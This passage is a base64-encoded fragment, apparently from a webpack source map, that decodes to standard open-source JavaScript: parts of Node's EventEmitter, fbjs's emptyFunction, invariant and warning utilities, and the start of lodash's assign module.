XN0ZW5lciBmb3IgYWxsIGxpc3RlbmVycyBvbiBhbGwgZXZlbnRzXG4gIGlmIChhcmd1bWVudHMubGVuZ3RoID09PSAwKSB7XG4gICAgZm9yIChrZXkgaW4gdGhpcy5fZXZlbnRzKSB7XG4gICAgICBpZiAoa2V5ID09PSAncmVtb3ZlTGlzdGVuZXInKSBjb250aW51ZTtcbiAgICAgIHRoaXMucmVtb3ZlQWxsTGlzdGVuZXJzKGtleSk7XG4gICAgfVxuICAgIHRoaXMucmVtb3ZlQWxsTGlzdGVuZXJzKCdyZW1vdmVMaXN0ZW5lcicpO1xuICAgIHRoaXMuX2V2ZW50cyA9IHt9O1xuICAgIHJldHVybiB0aGlzO1xuICB9XG5cbiAgbGlzdGVuZXJzID0gdGhpcy5fZXZlbnRzW3R5cGVdO1xuXG4gIGlmIChpc0Z1bmN0aW9uKGxpc3RlbmVycykpIHtcbiAgICB0aGlzLnJlbW92ZUxpc3RlbmVyKHR5cGUsIGxpc3RlbmVycyk7XG4gIH0gZWxzZSBpZiAobGlzdGVuZXJzKSB7XG4gICAgLy8gTElGTyBvcmRlclxuICAgIHdoaWxlIChsaXN0ZW5lcnMubGVuZ3RoKVxuICAgICAgdGhpcy5yZW1vdmVMaXN0ZW5lcih0eXBlLCBsaXN0ZW5lcnNbbGlzdGVuZXJzLmxlbmd0aCAtIDFdKTtcbiAgfVxuICBkZWxldGUgdGhpcy5fZXZlbnRzW3R5cGVdO1xuXG4gIHJldHVybiB0aGlzO1xufTtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5saXN0ZW5lcnMgPSBmdW5jdGlvbih0eXBlKSB7XG4gIHZhciByZXQ7XG4gIGlmICghdGhpcy5fZXZlbnRzIHx8ICF0aGlzLl9ldmVudHNbdHlwZV0pXG4gICAgcmV0ID0gW107XG4gIGVsc2UgaWYgKGlzRnVuY3Rpb24odGhpcy5fZXZlbnRzW3R5cGVdKSlcbiAgICByZXQgPSBbdGhpcy5fZXZlbnRzW3R5cGVdXTtcbiAgZWxzZVxuICAgIHJldCA9IHRoaXMuX2V2ZW50c1t0eXBlXS5zbGljZSgpO1xuICByZXR1cm4gcmV0O1xufTtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5saXN0ZW5lckNvdW50ID0gZnVuY3Rpb24odHlwZSkge1xuICBpZiAodGhpcy5fZXZlbnRzKSB7XG4gICAgdmFyIGV2bGlzdGVuZXIgPSB0aGlzLl9ldmVudHNbdHlwZV07XG5cbiAgICBpZiAoaXNGdW5jdGlvbihldmxpc3RlbmVyKSlcbiAgICAgIHJldHVybiAxO1xuICAgIGVsc2UgaWYgKGV2bGlzdGVuZXIpXG4gICAgICByZXR1cm4gZXZsaXN0ZW5lci5sZW5ndGg7XG4gIH1cbiAgcmV0dXJuIDA7XG59O1xuXG5FdmVudEVtaXR0ZXIubGlzdGVuZXJDb3VudCA9IGZ1bmN0aW9uKGVtaXR0ZXIsIHR5cGUpIHtcbiAgcmV0dXJuIGVtaXR0ZXIubGlzdGVuZXJDb3VudCh0eXBlKTtcbn07XG5cbmZ1bmN0aW9uIGlzRnVuY3Rpb24oYXJnKSB7XG4gIHJldHVybiB0eXBlb2YgYXJnID09PSAnZnVuY3Rpb24nO1xufVxuXG5mdW5jdGlvbiBpc051bWJlcihhcmcpIHtcbiAgcmV0dXJuIHR5cGVvZiBhcmcgPT09ICdudW1iZXInO1xufVxuXG5mdW5jdGlvbiBpc09iamVjdChhcmcpIHtcbiAgcmV0dXJuIHR5cGVvZiBhcmcgPT09ICdvYmplY3QnICYmIGFyZyAhPT0gbnVsbDtcbn1cblxuZnVuY3Rpb24gaXNVbmRlZmluZWQoYXJnKSB7XG4gIHJldHVybiBhcmcgPT09IHZvaWQgMDtcbn1cblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2V2ZW50cy9ldmVudHMuanNcbi8vIG1vZHVsZSBpZCA9IDU2XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IDUiLCJcInVzZSBzdHJpY3RcIjtcblxuLyoqXG4gKiBDb3B5cmlnaHQgKGMpIDIwMTMtcHJlc2VudCwgRmFjZWJvb2ssIEluYy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBcbiAqL1xuXG5mdW5jdGlvbiBtYWtlRW1wdHlGdW5jdGlvbihhcmcpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uICgpIHtcbiAgICByZXR1cm4gYXJnO1xuICB9O1xufVxuXG4vKipcbiAqIFRoaXMgZnVuY3Rpb24gYWNjZXB0cyBhbmQgZGlzY2FyZHMgaW5wdXRzOyBpdCBoYXMgbm8gc2lkZSBlZmZlY3RzLiBUaGlzIGlzXG4gKiBwcmltYXJpbHkgdXNlZnVsIGlkaW9tYXRpY2FsbHkgZm9yIG92ZXJyaWRhYmxlIGZ1bmN0aW9uIGVuZHBvaW50cyB3aGljaFxuICogYWx3YXlzIG5lZWQgdG8gYmUgY2FsbGFibGUsIHNpbmNlIEpTIGxhY2tzIGEgbnVsbC1jYWxsIGlkaW9tIGFsYSBDb2NvYS5cbiAqL1xudmFyIGVtcHR5RnVuY3Rpb24gPSBmdW5jdGlvbiBlbXB0eUZ1bmN0aW9uKCkge307XG5cbmVtcHR5RnVuY3Rpb24udGhhdFJldHVybnMgPSBtYWtlRW1wdHlGdW5jdGlvbjtcbmVtcHR5RnVuY3Rpb24udGhhdFJldHVybnNGYWxzZSA9IG1ha2VFbXB0eUZ1bmN0aW9uKGZhbHNlKTtcbmVtcHR5RnVuY3Rpb24udGhhdFJldHVybnNUcnVlID0gbWFrZUVtcHR5RnVuY3Rpb24odHJ1ZSk7XG5lbXB0eUZ1bmN0aW9uLnRoYXRSZXR1cm5zTnVsbCA9IG1ha2VFbXB0eUZ1bmN0aW9uKG51bGwpO1xuZW1wdHlGdW5jdGlvbi50aGF0UmV0dXJuc1RoaXMgPSBmdW5jdGlvbiAoKSB7XG4gIHJldHVybiB0aGlzO1xufTtcbmVtcHR5RnVuY3Rpb24udGhhdFJldHVybnNBcmd1bWVudCA9IGZ1bmN0aW9uIChhcmcpIHtcbiAgcmV0dXJuIGFyZztcbn07XG5cbm1vZHVsZS5leHBvcnRzID0gZW1wdHlGdW5jdGlvbjtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9mYmpzL2xpYi9lbXB0eUZ1bmN0aW9uLmpzXG4vLyBtb2R1bGUgaWQgPSA1N1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCA1IiwiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIDIwMTMtcHJlc2VudCwgRmFjZWJvb2ssIEluYy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKi9cblxuJ3VzZSBzdHJpY3QnO1xuXG4vKipcbiAqIFVzZSBpbnZhcmlhbnQoKSB0byBhc3NlcnQgc3RhdGUgd2hpY2ggeW91ciBwcm9ncmFtIGFzc3VtZXMgdG8gYmUgdHJ1ZS5cbiAqXG4gKiBQcm92aWRlIHNwcmludGYtc3R5bGUgZm9ybWF0IChvbmx5ICVzIGlzIHN1cHBvcnRlZCkgYW5kIGFyZ3VtZW50c1xuICogdG8gcHJvdmlkZSBpbmZvcm1hdGlvbiBhYm91dCB3aGF0IGJyb2tlIGFuZCB3aGF0IHlvdSB3ZXJlXG4gKiBleHBlY3RpbmcuXG4gKlxuICogVGhlIGludmFyaWFudCBtZXNzYWdlIHdpbGwgYmUgc3RyaXBwZWQgaW4gcHJvZHVjdGlvbiwgYnV0IHRoZSBpbnZhcmlhbnRcbiAqIHdpbGwgcmVtYWluIHRvIGVuc3VyZSBsb2dpYyBkb2VzIG5vdCBkaWZmZXIgaW4gcHJvZHVjdGlvbi5cbiAqL1xuXG52YXIgdmFsaWRhdGVGb3JtYXQgPSBmdW5jdGlvbiB2YWxpZGF0ZUZvcm1hdChmb3JtYXQpIHt9O1xuXG5pZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJykge1xuICB2YWxpZGF0ZUZvcm1hdCA9IGZ1bmN0aW9uIHZhbGlkYXRlRm9ybWF0KGZvcm1hdCkge1xuICAgIGlmIChmb3JtYXQgPT09IHVuZGVmaW5lZCkge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdpbnZhcmlhbnQgcmVxdWlyZXMgYW4gZXJyb3IgbWVzc2FnZSBhcmd1bWVudCcpO1xuICAgIH1cbiAgfTtcbn1cblxuZnVuY3Rpb24gaW52YXJpYW50KGNvbmRpdGlvbiwgZm9ybWF0LCBhLCBiLCBjLCBkLCBlLCBmKSB7XG4gIHZhbGlkYXRlRm9ybWF0KGZvcm1hdCk7XG5cbiAgaWYgKCFjb25kaXRpb24pIHtcbiAgICB2YXIgZXJyb3I7XG4gICAgaWYgKGZvcm1hdCA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICBlcnJvciA9IG5ldyBFcnJvcignTWluaWZpZWQgZXhjZXB0aW9uIG9jY3VycmVkOyB1c2UgdGhlIG5vbi1taW5pZmllZCBkZXYgZW52aXJvbm1lbnQgJyArICdmb3IgdGhlIGZ1bGwgZXJyb3IgbWVzc2FnZSBhbmQgYWRkaXRpb25hbCBoZWxwZnVsIHdhcm5pbmdzLicpO1xuICAgIH0gZWxzZSB7XG4gICAgICB2YXIgYXJncyA9IFthLCBiLCBjLCBkLCBlLCBmXTtcbiAgICAgIHZhciBhcmdJbmRleCA9IDA7XG4gICAgICBlcnJvciA9IG5ldyBFcnJvcihmb3JtYXQucmVwbGFjZSgvJXMvZywgZnVuY3Rpb24gKCkge1xuICAgICAgICByZXR1cm4gYXJnc1thcmdJbmRleCsrXTtcbiAgICAgIH0pKTtcbiAgICAgIGVycm9yLm5hbWUgPSAnSW52YXJpYW50IFZpb2xhdGlvbic7XG4gICAgfVxuXG4gICAgZXJyb3IuZnJhbWVzVG9Qb3AgPSAxOyAvLyB3ZSBkb24ndCBjYXJlIGFib3V0IGludmFyaWFudCdzIG93biBmcmFtZVxuICAgIHRocm93IGVycm9yO1xuICB9XG59XG5cbm1vZHVsZS5leHBvcnRzID0gaW52YXJpYW50O1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2ZianMvbGliL2ludmFyaWFudC5qc1xuLy8gbW9kdWxlIGlkID0gNThcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsIi8qKlxuICogQ29weXJpZ2h0IChjKSAyMDE0LXByZXNlbnQsIEZhY2Vib29rLCBJbmMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICovXG5cbid1c2Ugc3RyaWN0JztcblxudmFyIGVtcHR5RnVuY3Rpb24gPSByZXF1aXJlKCcuL2VtcHR5RnVuY3Rpb24nKTtcblxuLyoqXG4gKiBTaW1pbGFyIHRvIGludmFyaWFudCBidXQgb25seSBsb2dzIGEgd2FybmluZyBpZiB0aGUgY29uZGl0aW9uIGlzIG5vdCBtZXQuXG4gKiBUaGlzIGNhbiBiZSB1c2VkIHRvIGxvZyBpc3N1ZXMgaW4gZGV2ZWxvcG1lbnQgZW52aXJvbm1lbnRzIGluIGNyaXRpY2FsXG4gKiBwYXRocy4gUmVtb3ZpbmcgdGhlIGxvZ2dpbmcgY29kZSBmb3IgcHJvZHVjdGlvbiBlbnZpcm9ubWVudHMgd2lsbCBrZWVwIHRoZVxuICogc2FtZSBsb2dpYyBhbmQgZm9sbG93IHRoZSBzYW1lIGNvZGUgcGF0aHMuXG4gKi9cblxudmFyIHdhcm5pbmcgPSBlbXB0eUZ1bmN0aW9uO1xuXG5pZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJykge1xuICB2YXIgcHJpbnRXYXJuaW5nID0gZnVuY3Rpb24gcHJpbnRXYXJuaW5nKGZvcm1hdCkge1xuICAgIGZvciAodmFyIF9sZW4gPSBhcmd1bWVudHMubGVuZ3RoLCBhcmdzID0gQXJyYXkoX2xlbiA+IDEgPyBfbGVuIC0gMSA6IDApLCBfa2V5ID0gMTsgX2tleSA8IF9sZW47IF9rZXkrKykge1xuICAgICAgYXJnc1tfa2V5IC0gMV0gPSBhcmd1bWVudHNbX2tleV07XG4gICAgfVxuXG4gICAgdmFyIGFyZ0luZGV4ID0gMDtcbiAgICB2YXIgbWVzc2FnZSA9ICdXYXJuaW5nOiAnICsgZm9ybWF0LnJlcGxhY2UoLyVzL2csIGZ1bmN0aW9uICgpIHtcbiAgICAgIHJldHVybiBhcmdzW2FyZ0luZGV4KytdO1xuICAgIH0pO1xuICAgIGlmICh0eXBlb2YgY29uc29sZSAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgIGNvbnNvbGUuZXJyb3IobWVzc2FnZSk7XG4gICAgfVxuICAgIHRyeSB7XG4gICAgICAvLyAtLS0gV2VsY29tZSB0byBkZWJ1Z2dpbmcgUmVhY3QgLS0tXG4gICAgICAvLyBUaGlzIGVycm9yIHdhcyB0aHJvd24gYXMgYSBjb252ZW5pZW5jZSBzbyB0aGF0IHlvdSBjYW4gdXNlIHRoaXMgc3RhY2tcbiAgICAgIC8vIHRvIGZpbmQgdGhlIGNhbGxzaXRlIHRoYXQgY2F1c2VkIHRoaXMgd2FybmluZyB0byBmaXJlLlxuICAgICAgdGhyb3cgbmV3IEVycm9yKG1lc3NhZ2UpO1xuICAgIH0gY2F0Y2ggKHgpIHt9XG4gIH07XG5cbiAgd2FybmluZyA9IGZ1bmN0aW9uIHdhcm5pbmcoY29uZGl0aW9uLCBmb3JtYXQpIHtcbiAgICBpZiAoZm9ybWF0ID09PSB1bmRlZmluZWQpIHtcbiAgICAgIHRocm93IG5ldyBFcnJvcignYHdhcm5pbmcoY29uZGl0aW9uLCBmb3JtYXQsIC4uLmFyZ3MpYCByZXF1aXJlcyBhIHdhcm5pbmcgJyArICdtZXNzYWdlIGFyZ3VtZW50Jyk7XG4gICAgfVxuXG4gICAgaWYgKGZvcm1hdC5pbmRleE9mKCdGYWlsZWQgQ29tcG9zaXRlIHByb3BUeXBlOiAnKSA9PT0gMCkge1xuICAgICAgcmV0dXJuOyAvLyBJZ25vcmUgQ29tcG9zaXRlQ29tcG9uZW50IHByb3B0eXBlIGNoZWNrLlxuICAgIH1cblxuICAgIGlmICghY29uZGl0aW9uKSB7XG4gICAgICBmb3IgKHZhciBfbGVuMiA9IGFyZ3VtZW50cy5sZW5ndGgsIGFyZ3MgPSBBcnJheShfbGVuMiA+IDIgPyBfbGVuMiAtIDIgOiAwKSwgX2tleTIgPSAyOyBfa2V5MiA8IF9sZW4yOyBfa2V5MisrKSB7XG4gICAgICAgIGFyZ3NbX2tleTIgLSAyXSA9IGFyZ3VtZW50c1tfa2V5Ml07XG4gICAgICB9XG5cbiAgICAgIHByaW50V2FybmluZy5hcHBseSh1bmRlZmluZWQsIFtmb3JtYXRdLmNvbmNhdChhcmdzKSk7XG4gICAgfVxuICB9O1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IHdhcm5pbmc7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvZmJqcy9saWIvd2FybmluZy5qc1xuLy8gbW9kdWxlIGlkID0gNTlcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsIi8qKlxuICogbG9kYXNoIChDdXN0b20gQnVpbGQpIDxodHRwczovL2xvZGFzaC5jb20vPlxuICogQnVpbGQ6IGBsb2Rhc2ggbW9kdWxhcml6ZSBleHBvcnRzPVwibnBtXCIgLW8gLi9gXG4gKiBDb3B5cmlnaHQgalF1ZXJ5IEZvdW5kYXRpb24gYW5kIG90aGVyIGNvbnRyaWJ1dG9ycyA8aHR0cHM6Ly9qcXVlcnkub3JnLz5cbiAqIFJlbGVhc2VkIHVuZGVyIE1JVCBsaWNlbnNlIDxodHRwczovL2xvZGFzaC5jb20vbGljZW5zZT5cbiAqIEJhc2VkIG9uIFVuZGVyc2NvcmUuanMgMS44LjMgPGh0dHA6Ly91bmRlcnNjb3JlanMub3JnL0xJQ0VOU0U+XG4gKiBDb3B5cmlnaHQgSmVyZW15IEFzaGtlbmFzLCBEb2N1bWVudENsb3VkIGFuZCBJbnZlc3RpZ2F0aXZlIFJlcG9ydGVycyAmIEVkaXRvcnNcbiAqL1xuXG4vKiogVXNlZCBhcyByZWZlcmVuY2VzIGZvciB2YXJpb3VzIGBOdW1iZXJgIGNvbnN0YW50cy4gKi9cbnZhciBNQVhfU0FGRV9JTlRFR0VSID0gOTAwNzE5OTI1NDc0MDk5MTtcblxuLyoqIGBPYmplY3QjdG9TdHJpbmdgIHJlc3VsdCByZWZlcmVuY2VzLiAqL1xudmFyIGFyZ3NUYWcgPSAnW29iamVjdCBBcmd1bWVudHNdJyxcbiAgICBmdW5jVGFnID0gJ1tvYmplY3QgRnVuY3Rpb25dJyxcbiAgICBnZW5UYWcgPSAnW29iamVjdCBHZW5lcmF0b3JGdW5jdGlvbl0nO1xuXG4vKiogVXNlZCB0byBkZXRlY3QgdW5zaWduZWQgaW50ZWdlciB2YWx1ZXMuICovXG52YXIgcmVJc1VpbnQgPSAvXig/OjB8WzEtOV1cXGQqKSQvO1xuXG4vKipcbiAqIEEgZmFzdGVyIGFsdGVybmF0aXZlIHRvIGBGdW5jdGlvbiNhcHBseWAsIHRoaXMgZnVuY3Rpb24gaW52b2tlcyBgZnVuY2BcbiAqIHdpdGggdGhlIGB0aGlzYCBiaW5kaW5nIG9mIGB0aGlzQXJnYCBhbmQgdGhlIGFyZ3VtZW50cyBvZiBgYXJnc2AuXG4gKlxuICogQHByaXZhdGVcbiAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGludm9rZS5cbiAqIEBwYXJhbSB7Kn0gdGhpc0FyZyBUaGUgYHRoaXNgIGJpbmRpbmcgb2YgYGZ1bmNgLlxuICogQHBhcmFtIHtBcnJheX0gYXJncyBUaGUgYXJndW1lbnRzIHRvIGludm9rZSBgZnVuY2Agd2l0aC5cbiAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSByZXN1bHQgb2YgYGZ1bmNgLlxuICovXG5mdW5jdGlvbiBhcHBseShmdW5jLCB0aGlzQXJnLCBhcmdzKSB7XG4gIHN3aXRjaCAoYXJncy5sZW5ndGgpIHtcbiAgICBjYXNlIDA6IHJldHVybiBmdW5jLmNhbGwodGhpc0FyZyk7XG4gICAgY2FzZSAxOiByZXR1cm4gZnVuYy5jYWxsKHRoaXNBcmcsIGFyZ3NbMF0pO1xuICAgIGNhc2UgMjogcmV0dXJuIGZ1bmMuY2FsbCh0aGlzQXJnLCBhcmdzWzBdLCBhcmdzWzFdKTtcbiAgICBjYXNlIDM6IHJldHVybiBmdW5jLmNhbGwodGhpc0FyZywgYXJnc1swXSwgYXJnc1sxXSwgYXJnc1syXSk7XG4gIH1cbiAgcmV0dXJuIGZ1bmMuYXBwbHkodGhpc0FyZywgYXJncyk7XG59XG5cbi8qKlxuICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8udGltZXNgIHdpdGhvdXQgc3VwcG9ydCBmb3IgaXRlcmF0ZWUgc2hvcnRoYW5kc1xuICogb3IgbWF4IGFycmF5IGxlbmd0aCBjaGVja3MuXG4gKlxuICogQHByaXZhdGVcbiAqIEBwYXJhbSB7bnVtYmVyfSBuIFRoZSBudW1iZXIgb2YgdGltZXMgdG8gaW52b2tlIGBpdGVyYXRlZWAuXG4gKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBhcnJheSBvZiByZXN1bHRzLlxuICovXG5mdW5jdGlvbiBiYXNlVGltZXMobiwgaXRlcmF0ZWUpIHtcbiAgdmFyIGluZGV4ID0gLTEsXG4gICAgICByZXN1bHQgPSBBcnJheShuKTtcblxuICB3aGlsZSAoKytpbmRleCA8IG4pIHtcbiAgICByZXN1bHRbaW5kZXhdID0gaXRlcmF0ZWUoaW5kZXgpO1xuICB9XG4gIHJldHVybiByZXN1bHQ7XG59XG5cbi8qKlxuICogQ3JlYXRlcyBhIHVuYXJ5IGZ1bmN0aW9uIHRoYXQgaW52b2tlcyBgZnVuY2Agd2l0aCBpdHMgYXJndW1lbnQgdHJhbnNmb3JtZWQuXG4gKlxuICogQHByaXZhdGVcbiAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIHdyYXAuXG4gKiBAcGFyYW0ge0Z1bmN0aW9ufSB0cmFuc2Zvcm0gVGhlIGFyZ3VtZW50IHRyYW5zZm9ybS5cbiAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGZ1bmN0aW9uLlxuICovXG5mdW5jdGlvbiBvdmVyQXJnKGZ1bmMsIHRyYW5zZm9ybSkge1xuICByZXR1cm4gZnVuY3Rpb24oYXJnKSB7XG4gICAgcmV0dXJuIGZ1bmModHJhbnNmb3JtKGFyZykpO1xuICB9O1xufVxuXG4vKiogVXNlZCBmb3IgYnVpbHQtaW4gbWV0aG9kIHJlZmVyZW5jZXMuICovXG52YXIgb2JqZWN0UHJvdG8gPSBPYmplY3QucHJvdG90eXBlO1xuXG4vKiogVXNlZCB0byBjaGVjayBvYmplY3RzIGZvciBvd24gcHJvcGVydGllcy4gKi9cbnZhciBoYXNPd25Qcm9wZXJ0eSA9IG9iamVjdFByb3RvLmhhc093blByb3BlcnR5O1xuXG4vKipcbiAqIFVzZWQgdG8gcmVzb2x2ZSB0aGVcbiAqIFtgdG9TdHJpbmdUYWdgXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1vYmplY3QucHJvdG90eXBlLnRvc3RyaW5nKVxuICogb2YgdmFsdWVzLlxuICovXG52YXIgb2JqZWN0VG9TdHJpbmcgPSBvYmplY3RQcm90by50b1N0cmluZztcblxuLyoqIEJ1aWx0LWluIHZhbHVlIHJlZmVyZW5jZXMuICovXG52YXIgcHJvcGVydHlJc0VudW1lcmFibGUgPSBvYmplY3RQcm90by5wcm9wZXJ0eUlzRW51bWVyYWJsZTtcblxuLyogQnVpbHQtaW4gbWV0aG9kIHJlZmVyZW5jZXMgZm9yIHRob3NlIHdpdGggdGhlIHNhbWUgbmFtZSBhcyBvdGhlciBgbG9kYXNoYCBtZXRob2RzLiAqL1xudmFyIG5hdGl2ZUtleXMgPSBvdmVyQXJnKE9iamVjdC5rZXlzLCBPYmplY3QpLFxuICAgIG5hdGl2ZU1heCA9IE1hdGgubWF4O1xuXG4vKiogRGV0ZWN0IGlmIHByb3BlcnRpZXMgc2hhZG93aW5nIHRob3NlIG9uIGBPYmplY3QucHJvdG90eXBlYCBhcmUgbm9uLWVudW1lcmFibGUuICovXG52YXIgbm9uRW51bVNoYWRvd3MgPSAhcHJvcGVydHlJc0VudW1lcmFibGUuY2FsbCh7ICd2YWx1ZU9mJzogMSB9LCAndmFsdWVPZicpO1xuXG4vKipcbiAqIENyZWF0ZXMgYW4gYXJyYXkgb2YgdGhlIGVudW1lcmFibGUgcHJvcGVydHkgbmFtZXMgb2YgdGhlIGFycmF5LWxpa2UgYHZhbHVlYC5cbiAqXG4gKiBAcHJpdmF0ZVxuICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gcXVlcnkuXG4gKiBAcGFyYW0ge2Jvb2xlYW59IGluaGVyaXRlZCBTcGVjaWZ5IHJldHVybmluZyBpbmhlcml0ZWQgcHJvcGVydHkgbmFtZXMuXG4gKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIGFycmF5IG9mIHByb3BlcnR5IG5hbWVzLlxuICovXG5mdW5jdGlvbiBhcnJheUxpa2VLZXlzKHZhbHVlLCBpbmhlcml0ZWQpIHtcbiAgLy8gU2FmYXJpIDguMSBtYWtlcyBgYXJndW1lbnRzLmNhbGxlZWAgZW51bWVyYWJsZSBpbiBzdHJpY3QgbW9kZS5cbiAgLy8gU2FmYXJpIDkgbWFrZXMgYGFyZ3VtZW50cy5sZW5ndGhgIGVudW1lcmFibGUgaW4gc3RyaWN0IG1vZGUuXG4gIHZhciByZXN1bHQgPSAoaXNBcnJheSh2YWx1ZSkgfHwgaXNBcmd1bWVudHModmFsdWUpKVxuICAgID8gYmFzZVRpbWVzKHZhbHVlLmxlbmd0aCwgU3RyaW5nKVxuICAgIDogW107XG5cbiAgdmFyIGxlbmd0aCA9IHJlc3VsdC5sZW5ndGgsXG4gICAgICBza2lwSW5kZXhlcyA9ICEhbGVuZ3RoO1xuXG4gIGZvciAodmFyIGtleSBpbiB2YWx1ZSkge1xuICAgIGlmICgoaW5oZXJpdGVkIHx8IGhhc093blByb3BlcnR5LmNhbGwodmFsdWUsIGtleSkpICYmXG4gICAgICAgICEoc2tpcEluZGV4ZXMgJiYgKGtleSA9PSAnbGVuZ3RoJyB8fCBpc0luZGV4KGtleSwgbGVuZ3RoKSkpKSB7XG4gICAgICByZXN1bHQucHVzaChrZXkpO1xuICAgIH1cbiAgfVxuICByZXR1cm4gcmVzdWx0O1xufVxuXG4vKipcbiAqIEFzc2lnbnMgYHZhbHVlYCB0byBga2V5YCBvZiBgb2JqZWN0YCBpZiB0aGUgZXhpc3RpbmcgdmFsdWUgaXMgbm90IGVxdWl2YWxlbnRcbiAqIHVzaW5nIFtgU2FtZVZhbHVlWmVyb2BdKGh0dHA6Ly9lY21hLWludGVybmF0aW9uYWwub3JnL2VjbWEtMjYyLzcuMC8jc2VjLXNhbWV2YWx1ZXplcm8pXG4gKiBmb3IgZXF1YWxpdHkgY29tcGFyaXNvbnMuXG4gKlxuICogQHByaXZhdGVcbiAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBtb2RpZnkuXG4gKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIHByb3BlcnR5IHRvIGFzc2lnbi5cbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGFzc2lnbi5cbiAqL1xuZnVuY3Rpb24gYXNzaWduVmFsdWUob2JqZWN0LCBrZXksIHZhbHVlKSB7XG4gIHZhciBvYmpWYWx1ZSA9IG9iamVjdFtrZXldO1xuICBpZiAoIShoYXNPd25Qcm9wZXJ0eS5jYWxsKG9iamVjdCwga2V5KSAmJiBlcShvYmpWYWx1ZSwgdmFsdWUpKSB8fFxuICAgICAgKHZhbHVlID09PSB1bmRlZmluZWQgJiYgIShrZXkgaW4gb2JqZWN0KSkpIHtcbiAgICBvYmplY3Rba2V5XSA9IHZhbHVlO1xuICB9XG59XG5cbi8qKlxuICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8ua2V5c2Agd2hpY2ggZG9lc24ndCB0cmVhdCBzcGFyc2UgYXJyYXlzIGFzIGRlbnNlLlxuICpcbiAqIEBwcml2YXRlXG4gKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIGFycmF5IG9mIHByb3BlcnR5IG5hbWVzLlxuICovXG5mdW5jdGlvbiBiYXNlS2V5cyhvYmplY3QpIHtcbiAgaWYgKCFpc1Byb3RvdHlwZShvYmplY3QpKSB7XG4gICAgcmV0dXJuIG5hdGl2ZUtleXMob2JqZWN0KTtcbiAgfVxuICB2YXIgcmVzdWx0ID0gW107XG4gIGZvciAodmFyIGtleSBpbiBPYmplY3Qob2JqZWN0KSkge1xuICAgIGlmIChoYXNPd25Qcm9wZXJ0eS5jYWxsKG9iamVjdCwga2V5KSAmJiBrZXkgIT0gJ2NvbnN0cnVjdG9yJykge1xuICAgICAgcmVzdWx0LnB1c2goa2V5KTtcbiAgICB9XG4gIH1cbiAgcmV0dXJuIHJlc3VsdDtcbn1cblxuLyoqXG4gKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5yZXN0YCB3aGljaCBkb2Vzbid0IHZhbGlkYXRlIG9yIGNvZXJjZSBhcmd1bWVudHMuXG4gKlxuICogQHByaXZhdGVcbiAqIEBwYXJhbSB7RnVuY3Rpb2